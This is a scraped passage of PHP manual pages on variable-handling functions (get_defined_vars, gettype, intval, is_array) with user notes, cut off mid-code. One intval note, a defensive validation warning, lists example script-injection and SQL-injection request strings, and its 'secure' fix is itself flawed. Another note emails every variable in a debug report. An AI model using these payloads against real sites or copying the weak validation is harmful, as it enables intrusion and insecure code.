Below is an example for showing some of many values and their variable-names in a table.
(useful in debugging)

You can put this user-defined function at many places in your script
to show some values (values to be changed in loops)
to check if they are what they shall be there or not.

<?php
// Set "get_defined_vars()" to 2nd argument.
function get_value_table($name_array, $gdv) {
    $name_value_table = [];
    foreach ($name_array as $name) :
        if (!array_key_exists($name, $gdv)) :
            $value = 'undefined';
        elseif (is_bool($gdv[$name])) :
            $value = $gdv[$name]? 'true' : 'false';
        elseif (is_numeric($gdv[$name]) || is_string($gdv[$name])) :
            $value = $gdv[$name];
        elseif (is_array($gdv[$name])) :
            $value = '<pre>'.print_r($gdv[$name],true).'</pre>';
        else :
            $value = (PHP_VERSION_ID >= 80000)? get_debug_type($gdv[$name]) : get_type($gdv[$name]);
        endif;
        $name_value_table[] = '<tr><td>$'.$name.'<td>'.$value;
    endforeach;
    return '<table border=1>'.implode("\n", $name_value_table).'</table>';
} // (f) get_value_table()

$_1 = 'a';
$_2 = 'b';
$_3 = [1,2];
$_4 = false;
$_5 = null;

$name_array = ['_1','_2','_3','_4','_5','_6'];
$show_id = 1;

if ($show_id === 1) :
    echo get_value_table($name_array, get_defined_vars());
endif;
/*
if $show_id === 1, only shows below.

$_1      a
$_2      b
$_3      Array
      (
          [0] => 1
          [1] => 2
      )
$_4      false
$_5      null
$_6      undefined
*/

$_2 = 'c';
if ($show_id === 2) :
    echo get_value_table($name_array, get_defined_vars()); // $_2   c
endif;
# if $show_id === 2, $_2 turns "c".

?>
nix dot code at 4assistance dot com dot nix 22-Jun-2021 01:27
Insert this at point of interest; add keys of unwanted 1st dim variables to 2nd param of array_diff_key
<?php
echo '<pre>defined_except '; var_dump (array_diff_key (get_defined_vars(), ['GLOBALS'=>0,'_SERVER'=>0])); echo ' '.basename(__FILE__).':'.__LINE__.'</pre>'; #die;
?>
antonfedonyuk at gmail dot com 05-Feb-2021 09:29
NOTE: when you call code by eval() PHP append self vars to result, they have "__" prefix ("__source_code" and "__bootstrap_file" in PHP 7.3).

Fix:
<?php
function filter_eval_vars(array $vars): array
{
    foreach ($vars as $key => $value) {
         if ($key[0] === '_' && $key[1] === '_') {
              unset($vars[$key]);
         }
    }
    return $vars;
}

?>
npelov at croler dot net 02-Feb-2021 12:35
get_defined_vars() returns all variables - locally defined vars and global vars (well actually only super globals). If you need local vars only  - for example you need to get variables from a file - let's say config.php and you don't want a missing value to be replaced with a global defined somewhere else.

<?php

  /**
   * Filters out global vars from get_defined_vars() in order to get local vars only
   * @param array $localVars pass get_defined_vars() here
   *
   * @return array local vars only
   */
  function removeGlobals(array $localVars) {
    return array_diff_key($localVars, $GLOBALS);
  }

  define('CONFIG_FILE_PATH', '/path/to/config.php');
  function readConfig() {
    require CONFIG_FILE_PATH;
    $config = removeGlobals(get_defined_vars());
    return $config;
  }

?>
Joey 11-Jun-2018 07:22
I posted here before about "this" being in get_defined_vars.

It turns out it's not always there but in certain cases it will inexplicably appear.

    php -r '
    class Test {
        public function a() {var_dump(array_keys(get_defined_vars()));$a = 123;}
        public function b() {var_dump(array_keys(get_defined_vars()));$this;}
    }
    $t = new Test();
    $t->a();
    $t->b();
    '

    array()
    array('this')

This does not happen in PHP 7.2 but will happen in PHP 5.6.
Joey 24-Apr-2018 08:30
Some comments here point out that this function wont return references. It does however return names and names are "references".

I would not recommend the suggestions here that convert it to references.

Instead...

    public function x($a, $b, $c) {
        foreach(array_keys(get_defined_vars()) as $key)
            if($key !== 'this')
                $this->y(${$key});
    }

    public function y(&$input) {
        $input++;
    }

Instead of ${} you can also use $$.

I have done some whacky things in my time to make extremely generic code but I've never had to do anything like the above. It might not even work (but should since it's no different to $a[$key]).

You could also do $$key++ but I've never seen code like that which wasn't horrifically bad (using dynamic where dynamic isn't beneficial).

If you're doing something like that then give it additional scrutiny.
Joey 24-Apr-2018 08:20
I occasionally use this as a hack to convert arguments to an array where terseness is needed (dealing with legacy code, etc).

However in an object context it'll also pull in $this.

Make sure to unset it. If you map it to properties or an array then setting the key this wont be an error.

I recommend using a wrapper function that strips this from the result.
istiaquealamjoy at gmail dot com 23-May-2017 05:37
for all those who don't know how to us this function. copy and run this code in your computer  .

note: you need to know what superglobals are.....

<?php

$A = 5  ;
$B = 10 ;
$C = 15 ;
$D = 20 ;

$F = get_defined_vars($A);

var_dump($F);  //don't use echo. it will show error

?>

Result : will show all superglobals status along with your defined
variables along with its values
sergeyzuzic at mail dot ru 14-Nov-2015 10:35
dirty code sample:

print_r(compact(array_keys(get_defined_vars())));
mail at mkharitonov dot net 01-Jun-2014 07:14
Reference variables are returned by reference (tested on PHP 5.5.11):
<?php
$a = null;
$b = &$a;
get_defined_vars()['b'] = 4;
var_dump($b); // int(4)
?>
ryanlwh at yahoo dot com 02-Apr-2013 05:28
Since get_defined_vars() only gets the variables at the point you call the function, there is a simple way to get the variables defined within the current scope.

<?php
// The very top of your php script
$vars = get_defined_vars();

// Now do your stuff
$foo = 'foo';
$bar = 'bar';

// Get all the variables defined in current scope
$vars = array_diff(get_defined_vars(),$vars);

echo '<pre>';
print_r($vars);
echo '</pre>';
?>
Anonymous 18-Apr-2011 05:32
get_defined_vars() returns ALL the vars (in the current scope), what if you just want all YOUR vars, not PHP's super-globals?

<?php
    var_export(array_diff(get_defined_vars(), array(array())));
?>

Example...

<?php
    $TOP_LEVEL_VAR=1;
    var_export(array_diff(get_defined_vars(), array(array())));
?>

The output (with register_globals off) should be...

array (
  'TOP_LEVEL_VAR' => 1,
)

...it perfectly eliminated all the super-globals, without me having to specify them! (note with register_globals on, the output includes those globals, then TOP_LEVEL_VAR).

Here it is, as a function...(it's the best I could do {I can't call get_defined_vars() inside get_user_defined_vars() cuz of the scope issue}).

<?php
    header('Content-type: text/plain');

    $TOP_LEVEL_VAR=1;

    echo 'register_globals(';
    echo ini_get('register_globals');
    echo ') '.phpversion()."\n";

    var_export(get_user_defined_vars(get_defined_vars()));

    function get_user_defined_vars($vars) {
        return array_diff($vars, array(array()));
    }
?>

Note that originally I had an array of the super-globals I wanted removed from get_defined_vars()'s array, then I noticed even an empty double-array, array(array()), made it give me the correct result. Weird.

This was tested on PHP 5.2.9.
meint at meint dot net 11-Jan-2011 12:46
Please be aware that function_get_vars only returns the variables defined at the point before you call the function_get_vars function, it does not scan the entire function for you, only the lines before you call it.
Johan de Vries 17-Jun-2010 08:09
Note that this only returns things you've used. See http://bugs.php.net/bug.php?id=52110 . So don't expect this to have the $this entry, unless you assign $this to return $this.
donovan at example dot com 21-Oct-2008 09:15
As a note, get_defined_vars() does not return a set of variable references (as I hoped). For example:

<?php

// define a variable
$my_var = "foo";

// get our list of defined variables
$defined_vars = get_defined_vars();

// now try to change the value through the returned array
$defined_vars["my_var"] = "bar";

echo $my_var, "\n";

?>

will output "foo" (the original value). It'd be nice if get_defined_vars() had an optional argument to make them references, but I imagine its a rather specialized request. You can do it yourself (less conveniently) with something like:

<?php

$defined_vars = array();
$var_names = array_keys(get_defined_vars());

foreach ($var_names as $var_name)
{
    $defined_vars[$var_name] =& $$var_name;
}

?>
SyCo 21-Aug-2008 03:52
Here's a very simple function for debugging. It's far from perfect but I find it very handy. It outputs the var value and the var name on a new line. The problem is it'll echo any vars and their name if they share the same value. No big deal when debugging and saves the hassle of writing the HTML and var name when echoing a variable. (ev=echo variable). Using get_defined_vars() inside a function renames the var name to the functions variable so isn't as useful for debugging. Of course, you'll need access to the $GLOBALS array
<?
function ev($variable){
    foreach($GLOBALS as $key => $value){
        if($variable===$value){
            echo '<p>'.$key.' - '.$value.'</p>';
        }
    }
}

$a=0;
ev($a);
$b=0;
ev($b);
$c=0;
ev($c);
?>
Will output
a - 0

a - 0
b - 0

a - 0
b - 0
c - 0
zabmilenko at hotmail dot com 31-Aug-2006 07:32
A little gotcha to watch out for:

If you turn off RegisterGlobals and related, then use get_defined_vars(), you may see something like the following:

<?php
Array
(
    [GLOBALS] => Array
        (
            [GLOBALS] => Array
 *RECURSION*
            [_POST] => Array()
            [_GET] => Array()
            [_COOKIE] => Array()
            [_FILES] => Array()
        )

    [_POST] => Array()
    [_GET] => Array()
    [_COOKIE] => Array()
    [_FILES] => Array()

)
?>

Notice that $_SERVER isn't there.  It seems that php only loads the superglobal $_SERVER if it is used somewhere.  You could do this:

<?php
print '<pre>' . htmlspecialchars(print_r(get_defined_vars(), true)) . '</pre>';
print '<pre>' . htmlspecialchars(print_r($_SERVER, true)) . '</pre>';
?>

And then $_SERVER will appear in both lists.  I guess it's not really a gotcha, because nothing bad will happen either way, but it's an interesting curiosity nonetheless.
lbowerh at adelphia dot net 04-Jun-2004 08:19
Here is a function which generates a debug report for display or email
using get_defined_vars. Great for getting a detailed snapshot without
relying on user input.

<?php
function generateDebugReport($method,$defined_vars,$email="undefined"){
    // Function to create a debug report to display or email.
    // Usage: generateDebugReport(method,get_defined_vars(),email[optional]);
    // Where method is "browser" or "email".

    // Create an ignore list for keys returned by 'get_defined_vars'.
    // For example, HTTP_POST_VARS, HTTP_GET_VARS and others are
    // redundant (same as _POST, _GET)
    // Also include vars you want ignored for security reasons - i.e. PHPSESSID.
    $ignorelist=array("HTTP_POST_VARS","HTTP_GET_VARS",
    "HTTP_COOKIE_VARS","HTTP_SERVER_VARS",
    "HTTP_ENV_VARS","HTTP_SESSION_VARS",
    "_ENV","PHPSESSID","SESS_DBUSER",
    "SESS_DBPASS","HTTP_COOKIE");

    $timestamp=date("m/d/y h:m:s");
    $message="Debug report created $timestamp\n";

    // Get the last SQL error for good measure, where $link is the resource identifier
    // for mysql_connect. Comment out or modify for your database or abstraction setup.
    global $link;
    $sql_error=mysql_error($link);
    if($sql_error){
      $message.="\nMysql Messages:\n".mysql_error($link);
    }
    // End MySQL

    // Could use a recursive function here. You get the idea ;-)
    foreach($defined_vars as $key=>$val){
      if(is_array($val) && !in_array($key,$ignorelist) && count($val) > 0){
        $message.="\n$key array (key=value):\n";
        foreach($val as $subkey=>$subval){
          if(!in_array($subkey,$ignorelist) && !is_array($subval)){
            $message.=$subkey." = ".$subval."\n";
          }
          elseif(!in_array($subkey,$ignorelist) && is_array($subval)){
            foreach($subval as $subsubkey=>$subsubval){
              if(!in_array($subsubkey,$ignorelist)){
                $message.=$subsubkey." = ".$subsubval."\n";
              }
            }
          }
        }
      }
      elseif(!is_array($val) && !in_array($key,$ignorelist) && $val){
        $message.="\nVariable ".$key." = ".$val."\n";
      }
    }

    if($method=="browser"){
      echo nl2br($message);
    }
    elseif($method=="email"){
      if($email=="undefined"){
        $email=$_SERVER["SERVER_ADMIN"];
      }

      $mresult=mail($email,"Debug Report for ".$_ENV["HOSTNAME"]."",$message);
      if($mresult==1){
        echo "Debug Report sent successfully.\n";
      }
      else{
        echo "Failed to send Debug Report.\n";
      }
    }
}
?>
jgettys at gnuvox dot com 22-Feb-2002 07:09
Simple routine to convert a get_defined_vars object to XML.

<?php
function obj2xml($v, $indent='') {
  while (list($key, $val) = each($v)) {
    if ($key == '__attr') continue;
    // Check for __attr
    if (is_object($val->__attr)) {
      while (list($key2, $val2) = each($val->__attr)) {
        $attr .= " $key2=\"$val2\"";
      }
    }
    else $attr = '';
    if (is_array($val) || is_object($val)) {
      print("$indent<$key$attr>\n");
      obj2xml($val, $indent.'  ');
      print("$indent</$key>\n");
    }
    else print("$indent<$key$attr>$val</$key>\n");
  }
}

//Example object
$x->name->first = "John";
$x->name->last = "Smith";
$x->arr['Fruit'] = 'Bannana';
$x->arr['Veg'] = 'Carrot';
$y->customer = $x;
$y->customer->__attr->id='176C4';

$z = get_defined_vars();
obj2xml($z['y']);
?>

will output:
<customer id="176C4">
  <name>
    <first>John</first>
    <last>Smith</last>
  </name>
  <arr>
    <Fruit>Bannana</Fruit>
    <Veg>Carrot</Veg>
  </arr>
</customer>


Возвращает целочисленный идентификатор для данного ресурса

  • « get_defined_vars
  • get_resource_type »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает целочисленный идентификатор для данного ресурса

get_resource_id

(PHP 8)

get_resource_id — Возвращает целочисленный идентификатор для данного ресурса

Описание

get_resource_id(resource $resource): int

Функция обеспечивает безопасный для типов способ генерации целочисленного идентификатора для ресурса.

Список параметров

resource

Дескриптор ресурса.

Возвращаемые значения

Целочисленный идентификатор (int) для указанного resource.

Функция по сути является преобразованием целого числа (int) от resource, чтобы упростить получение идентификатора ресурса.

Примеры

Пример #1 Использование get_resource_id() даёт тот же результат, что и приведение к целому числу (int)

<?php

$handle = fopen("php://stdout", "w");

echo (int) $handle . "\n";

echo get_resource_id($handle);

?>

Вывод приведённого примера будет похож на:

698
698

Смотрите также

  • get_resource_type() - Возвращает тип ресурса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип ресурса

  • « get_resource_id
  • gettype »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает тип ресурса

get_resource_type

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

get_resource_type — Возвращает тип ресурса

Описание

get_resource_type(resource $resource): string

Функция возвращает тип данного ресурса.

Список параметров

resource

Определяемый дескриптор ресурса.

Возвращаемые значения

Если данный параметр resource является ресурсом, функция возвращает строку, указывающую его тип. Если тип не определяется этой функцией, возвращаемым значением будет строка Unknown.

Функция возвращает null и вызывает ошибку, если resource не является ресурсом (resource).

Примеры

Пример #1 Пример использования get_resource_type()

<?php

// Начиная с версии PHP 8.0.0, следующий код больше не работает. Функция curl_init теперь возвращает объект CurlHandle.
$c = curl_init();
echo get_resource_type($c) . "\n";
?>

Результат выполнения приведённого примера в PHP 7:

stream
curl

Смотрите также

  • get_resource_id() - Возвращает целочисленный идентификатор для данного ресурса

User Contributed Notes

CertaiN 17-Jan-2014 05:04
Try this to know behavior:

<?php
function resource_test($resource, $name) {
    echo
        '[' . $name. ']',
        PHP_EOL,
        '(bool)$resource => ',
        $resource ? 'TRUE' : 'FALSE',
        PHP_EOL,
        'get_resource_type($resource) => ',
        get_resource_type($resource) ?: 'FALSE',
        PHP_EOL,
        'is_resoruce($resource) => ',
        is_resource($resource) ? 'TRUE' : 'FALSE',
        PHP_EOL,
        PHP_EOL
    ;
}

$resource = tmpfile();
resource_test($resource, 'Check Valid Resource');

fclose($resource);
resource_test($resource, 'Check Released Resource');

$resource = null;
resource_test($resource, 'Check NULL');
?>

It will be shown as...

[Check Valid Resource]
(bool)$resource => TRUE
get_resource_type($resource) => stream
is_resoruce($resource) => TRUE

[Check Released Resource]
(bool)$resource => TRUE
get_resource_type($resource) => Unknown
is_resoruce($resource) => FALSE

[Check NULL]
(bool)$resource => FALSE
get_resource_type($resource) => FALSE
Warning:  get_resource_type() expects parameter 1 to be resource, null given in ... on line 10
is_resoruce($resource) => FALSE


Возвращает тип переменной

  • « get_resource_type
  • intval »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает тип переменной

gettype

(PHP 4, PHP 5, PHP 7, PHP 8)

gettype — Возвращает тип переменной

Описание

gettype(mixed $value): string

Возвращает тип PHP-переменной value. Для проверки типа переменной используйте функции is_*.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возможными значениями возвращаемой строки являются:

  • "boolean"
  • "integer"
  • "double" (по историческим причинам в случае типа float возвращается "double", а не просто "float")
  • "string"
  • "array"
  • "object"
  • "resource"
  • "resource (closed)" с PHP 7.2.0
  • "NULL"
  • "unknown type"

Список изменений

Версия | Описание
7.2.0 | Для закрытых ресурсов теперь возвращается 'resource (closed)'. Ранее для закрытых ресурсов возвращалось 'unknown type'.

Примеры

Пример #1 Пример использования gettype()

<?php

$data = array(1, 1., NULL, new stdClass, 'foo');

foreach ($data as $value) {
echo gettype($value), "\n";
}

?>

Вывод приведённого примера будет похож на:

integer
double
NULL
object
string

Смотрите также

  • get_debug_type() - Возвращает имя типа переменной в виде, подходящем для отладки
  • settype() - Задаёт тип переменной
  • get_class() - Возвращает имя класса, которому принадлежит объект
  • is_array() - Определяет, представляет ли собой переменная массив
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_callable() - Проверяет, что значение может быть вызвано как функция в текущей области видимости
  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_null() - Проверяет, равно ли значение переменной null
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_resource() - Проверяет, представляет ли собой переменная ресурс
  • is_scalar() - Проверяет, представляет ли собой переменная скаляр
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • function_exists() - Возвращает true, если указанная функция определена
  • method_exists() - Проверяет, существует ли метод в классе

User Contributed Notes

mohammad dot alavi1990 at gmail dot com 11-Jun-2023 12:37
Be careful comparing ReflectionParameter::getType() and gettype() as they will not return the same results for a given type.

string - string // OK
int - integer // Type mismatch
bool - boolean // Type mismatch
array - array // OK
Anonymous 20-Jan-2022 06:59
Same as for "boolean" below, happens with integers. gettype() return "integer" yet proper type hint is "int".

If your project is PHP8+ then you should consider using get_debug_type() instead which seems to return proper types that match used for type hints.


Возвращает целочисленное значение переменной

  • « gettype
  • is_array »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает целочисленное значение переменной

intval

(PHP 4, PHP 5, PHP 7, PHP 8)

intval — Возвращает целочисленное значение переменной

Описание

intval(mixed $value, int $base = 10): int

Возвращает целочисленное значение (int) переменной value, рассматривая ее как значение в системе счисления с основанием, которое определено в параметре base (по умолчанию основание равно 10). Функцию intval() нельзя использовать с объектами, попытка это сделать вызовет ошибку уровня E_WARNING и вернёт значение 1.

Список параметров

value

Скалярное значение для конвертации в целое

base

Основание системы счисления для преобразования

Замечание:

Если значение параметра base равно 0, основание системы счисления будет определено форматом параметра value:

  • если строка включает префикс "0x" (или "0X"), будет взято основание 16 (шестнадцатеричное);
  • иначе, если строка начинается с "0b" (или "0B"), будет взято основание 2 (двоичное);
  • иначе, если строка начинается с "0", будет взято основание 8 (восьмеричное);
  • иначе основание будет равно 10 (десятичая).

Возвращаемые значения

Функция возвращает целочисленное значение переменной value в случае успешного выполнения, или 0 в случае возникновения ошибки. Для пустых массивов возвращается 0, для непустых возвращается 1.

Максимальное значение зависит от операционной системы. В 32-битных системах максимальное знаковое целое лежит в диапазоне от -2 147 483 648 до 2 147 483 647. Так, например, в такой системе, intval('1000000000000') вернёт 2 147 483 647. Максимальное знаковое целое значение для 64-битных систем — 9 223 372 036 854 775 807.

Для строк функция, скорее всего, вернёт 0, хотя это зависит от первого символа в строке. Будут применены общие правила преобразования в целые.

Список изменений

Версия | Описание
8.0.0 | Уровень ошибки при преобразовании из объекта был изменён с E_NOTICE на E_WARNING.

Примеры

Пример #1 Примеры использования intval()

Следующие примеры приведены для 64-битной системы.

<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 10000000000
echo intval('1e10'); // 10000000000
echo intval(0x1A); // 26
echo intval('0x1A'); // 0
echo intval('0x1A', 0); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // -4275113695319687168
echo intval('420000000000000000000'); // 9223372036854775807
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
echo intval(false); // 0
echo intval(true); // 1
?>

Примечания

Замечание:

Параметр base будет учтён только тогда, когда значение параметр value окажется строкой.

Смотрите также

  • boolval() - Возвращает логическое значение переменной
  • floatval() - Возвращает значение переменной в виде числа с плавающей точкой
  • strval() - Возвращает строковое значение переменной
  • settype() - Задаёт тип переменной
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • Манипуляции с типами
  • Математические функции произвольной точности BCMath

User Contributed Notes

Denes Kellner 24-Jan-2024 09:28
Warning: intval() parses scientific notation, like "12.3e7".

This comes out of the blue when you use intval() to cut the first integer value from a string; at first glance there's nothing wrong with it, if you have "123.jeff" it will give you 123, but in the rare case of parsing something that has a second segment with a hex number, you can easily run into this. (Let's not start the "why would you parse a string like that" argument.)

So if you're not prepared, these results may surprise you:

    intval("123.ee-2") - gives you 123
    intval("123.e2-e") - gives you 12300
    intval("123.a2-e") - gives you 123
    intval("123.e-22") - gives you 0
    intval("123.e-a2") - gives you 123
    intval("123.e-2a") - gives you 1
    intval("123.2e2a") - gives you 12320
    intval("123.22e2") - gives you 12322
    intval("123.22ea") - gives you 123

Again, this is somewhat expected behaviour once you know that scientific notation is interpreted by it. But it looks like a less-than-widely known fact and I only faced this issue after 20+ years of php.
Anony Moose 15-May-2020 03:46
As a warning, do not use this function alone for input validation.

Vulnerable example:
<?php
if(isset($_GET['id']) && intval($_GET['id']) > 0){
    echo $id;
}
?>

The following requests would pass this filter:

/page.php?id=10
/page.php?id=10oops
/page.php?id=10<script>alert(1)</script>
/page.php?id=1' OR '1'='1
/page.php?id[]=<script>alert(1)</script>

Instead use the is_numeric() function for integer validation:

<?php
echo intval("10oops"); // 10
echo is_numeric("10oops");  // false
?>

Secure example:
<?php
if(isset($_GET['id']) && is_numeric($_GET['id']) && intval($_GET['id']) > 0){
    echo $id;
}
?>
Anonymous 12-Feb-2020 05:14
PHP 7.2

$test = intval(150.20*100); //15019
$test2 = intval(15020); //15020
$test3 = intval(15020.0); //15020
$test4 = 150.20*100; //15020.0
Anthony 21-Apr-2018 12:28
The binary notation is NOT supported until php7.2
<?php
                         // PHP <7.2 | PHP >=7.2
echo intval(0b11);       //    3     |     3
echo intval(-0b11);      //   -3     |    -3
echo intval('0b11');     //    0     |     0
echo intval('-0b11');    //    0     |     0
echo intval('0b11', 0);  //    0     |     3
echo intval('-0b11', 0); //    0     |    -3
?>
leon at leonidasjp dot nl 27-Jan-2017 03:35
It seems intval is interpreting valid numeric strings differently between PHP 5.6 and 7.0 on one hand, and PHP 7.1 on the other hand.

<?php
echo intval('1e5');
?>

will return 1 on PHP 5.6 and PHP 7.0,
but it will return 100000 on PHP 7.1.
taylorsarrafian at gmail dot com 11-Jul-2015 04:45
beware:

<?php

   // observe the following
   echo intval( strval( -0.0001 ) ); // 0
   echo intval( strval( -0.00001 ) ); // -1

   // this is because
   echo strval( -0.0001 ); // -.0001
   echo strval( -0.00001 ); // -1.0E-5

   // thus beware when using
   function trunc2_bad( $n ) {
      return intval( strval( $n * 100 ) / 100 );
   }

   // use this instead
   function trunc2_good( $n ) {
      return intval( floatval( strval( $n * 100 )  ) / 100 );
   }

?>
pfreet at gmail dot com 25-Apr-2013 05:27
Do not use intval() when you really want round(). This is due to how PHP handles precision.

echo number_format(8.20*100, 20), "<br />";
echo intval(8.20*100), "<br />";
echo floor(8.20*100), "<br />";
echo round(8.20*100), "<br />";

819.99999999999988631316
819
819
820
espertalhao04 at hotmail dot com 06-Mar-2013 09:58
if you want to take a number from a string, no matter what it may contain, here is a good solution:

<?php
function int($s){return(int)preg_replace('/[^\-\d]*(\-?\d*).*/','$1',$s);}

echo int('j18ugj9hu0gj5hg');
//output: 18
?>
this example returns an int, so it will follow the int rules, and has support for negative values.

<?php
function int($s){return($a=preg_replace('/[^\-\d]*(\-?\d*).*/','$1',$s))?$a:'0';}

echo int('j-1809809808908099878758765ugj9hu0gj5hg');
//output: -1809809808908099878758765
?>

this one returns a string with just the numeric value.
it also supports negative values.

the latter is better when you have a 32 bit system and you want a huge int that is higher than PHP_MAX_INT.
Ken 11-Nov-2011 11:50
Not mentioned elsewhere: intval(NULL) also returns 0.
yves 27-Dec-2010 08:53
The behaviour of intval() is interesting when supplying a base, and you better check your intval base-based expressions, as it is counter-intuitive.
As the example shows
<?php
  intval('42', 8); // => 34
  intval(42, 8);   // => 42 !
?>
PHP considers the 42 as being already an integer, and doesn't apply any conversion. And supplying
<?php
  intval(49, 8);  // => 49 !
?>
produces no error and no warning.
winbill at hotmail dot com 16-Dec-2010 08:31
Be careful :

<?php
$n="19.99";
print intval($n*100); // prints 1998
print intval(strval($n*100)); // prints 1999
?>
spoon_reloaded at gmail dot com 21-Jun-2009 10:35
Here is a really useful undocumented feature:

You can have it automatically deduce the base of the number from the prefix of the string using the same syntax as integer literals in PHP ("0x" for hexadecimal, "0" for octal, non-"0" for decimal) by passing a base of 0 to intval():

<?php
echo intval("0x1a", 0), "\n"; // hex; prints "26"
echo intval("057", 0), "\n"; // octal; prints "47"
echo intval("42", 0), "\n"; // decimal; prints "42"
?>
mkamerma at science dot uva dot nl 06-Mar-2006 11:48
As addendum, the "if ($int > 0)" check in the encode function is redundant. It doesn't do anything bad to keep it in since it will always be true when reaching that point, but it's a meaningless conditional this way. It's a remnant from when I tried to write the function in terms of bitshifts, which could lead to negative ints when shifting if the 32nd bit was set (instead of always padding with 0's when using >> it pads with 1's leading to negative ints).
Ben Laurienti 16-Jan-2006 01:21
You guys are going to love this.  I found something that I found quite disturbing.

$test1 = intVal(1999);

$amount = 19.99 * 100;
$test2 = intVal($amount);
$test3 = intVal("$amount");

echo $test1 . "<br />\n";
echo $test2 . "<br />\n";
echo $test3 . "<br />\n";

expected output:
1999
1999
1999

actual output
1999
1998
1999

Appears to be a floating point issue, but the number 1999 is the only number that I was able to get to do this.  19.99 is the price of many things, and for our purpose we must pass it as 1999 instead of 19.99.
tuxedobob at mac dot com 07-Feb-2004 04:56
Sometimes intval just won't cut it. For example if you want to use an unsigned 32-bit int and need all 32 bits. Recently, I wrote a little script that took and integer and converted it to an IP address. After realizing I couldn't just mod the whole thing, since the sign bit throws it off (and compensating for that), we ran into a problem where if it was entered into a form, the value somehow wasn't converted to an integer properly, at least not implicitly. The solution for this, and the way I recommend converting a string to an integer, is:

$num = $num + 0;

and PHP will leave your number alone; it'll just know it's a number. Such is the fun of a loosely-typed language. :)
zak at php dot net 12-Aug-2000 01:38
intval converts doubles to integers by truncating the fractional component of the number.

When dealing with some values, this can give odd results.  Consider the following:

print intval ((0.1 + 0.7) * 10);

This will most likely print out 7, instead of the expected value of 8.

For more information, see the section on floating point numbers in the PHP manual (http://www.php.net/manual/language.types.double.php)

Also note that if you try to convert a string to an integer, the result is often 0.

However, if the leftmost character of a string looks like a valid numeric value, then PHP will keep reading the string until a character that is not valid in a number is encountered.

For example:

"101 Dalmations" will convert to 101

"$1,000,000" will convert to 0 (the 1st character is not a valid start for a number

"80,000 leagues ..." will convert to 80

"1.4e98 microLenats were generated when..." will convert to 1.4e98

Also note that only decimal base numbers are recognized in strings.

"099" will convert to 99, while "0x99" will convert to 0.

One additional note on the behavior of intval.  If you specify the base argument, the var argument should be a string - otherwise the base will not be applied.

For Example:

print intval (77, 8);   // Prints 77
print intval ('77', 8); // Prints 63


Определяет, представляет ли собой переменная массив

  • « intval
  • is_bool »
  • PHP Manual
  • Функции для работы с переменными
  • Определяет, представляет ли собой переменная массив

is_array

(PHP 4, PHP 5, PHP 7, PHP 8)

is_array — Определяет, представляет ли собой переменная массив

Описание

is_array(mixed $value): bool

Определяет, представляет ли собой переменная массив.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если переменная value — массив (array), иначе false.

Примеры

Пример #1 Пример проверки того, что переменная — массив

<?php

$yes = array('это', 'массив');

echo is_array($yes) ? 'Массив' : 'Не массив';
echo "\n";

$no = 'это строка';

echo is_array($no) ? 'Массив' : 'Не массив';

?>

Результат выполнения приведённого примера:

Массив
Не массив

Смотрите также

  • array_is_list() - Проверяет, является ли данный array списком
  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_object() - Проверяет, представляет ли собой переменная объект

User Contributed Notes

Daniel 14-Jul-2019 06:54
The next post is not correct because has problems with blank array index:
https://www.php.net/manual/es/function.is-array.php#89332

The next code use the above link php code

<?php
function is_assoc($var)
{
        return is_array($var) && array_diff_key($var,array_keys(array_keys($var)));
}

function test($var)
{
        echo is_assoc($var) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}

// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);

// maybe assoc array?
$b = array(0 => "aaa", 1 => 1, 3 => true); // Index 2 not exist
test($b);
?>

# Output
I'm an assoc array.
I'm an assoc array.

"Associative arrays are arrays that use named keys that you assign to them."
https://www.w3schools.com/php/php_arrays.asp

Solution:

<?php
function is_assoc(array $array)
{
    return count(array_filter(array_keys($array), 'is_string')) > 0;
}
function test(array $array)
{
    echo is_assoc($array) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}
// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);
// an array
$b = array(0=>"aaa",1=>1,3=>true);
test($b);
?>

# Output
I'm an assoc array.
I'm not an assoc array.

If you want check pure assoc. array replace > 0 by === count($array)
lrgbx0 at gmail dot com 10-May-2018 08:48
is_assoc() Benchmark:

<?php

function is_assoc1($array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) unset($array[--$i]);
    return (bool)$array;
}

function is_assoc2(&$array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) {
        if (!isset($array[--$i])) return true;
    }
    return false;
}

function is_assoc3(&$array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) {
        if (!array_key_exists(--$i, $array)) return true;
    }
    return false;
}

function is_assoc4($array) {
    if (!is_array($array)) return false;
    ksort($array);
    foreach (array_keys($array) as $k => $v) {
        if ($k !== $v) return true;
    }
    return false;
}

function is_assoc5(&$array) {
    return is_array($array) && array_diff_key($array, array_keys($array));
}

$arr1 = array(); // not associative
$arr2 = $arr3 = array('foo', 'bar', 'baz', 'foo', 'bar', 'baz', 'foo', 'bar', 'baz', 'foo'); // not associative
asort($arr3); // not associative, shuffled keys
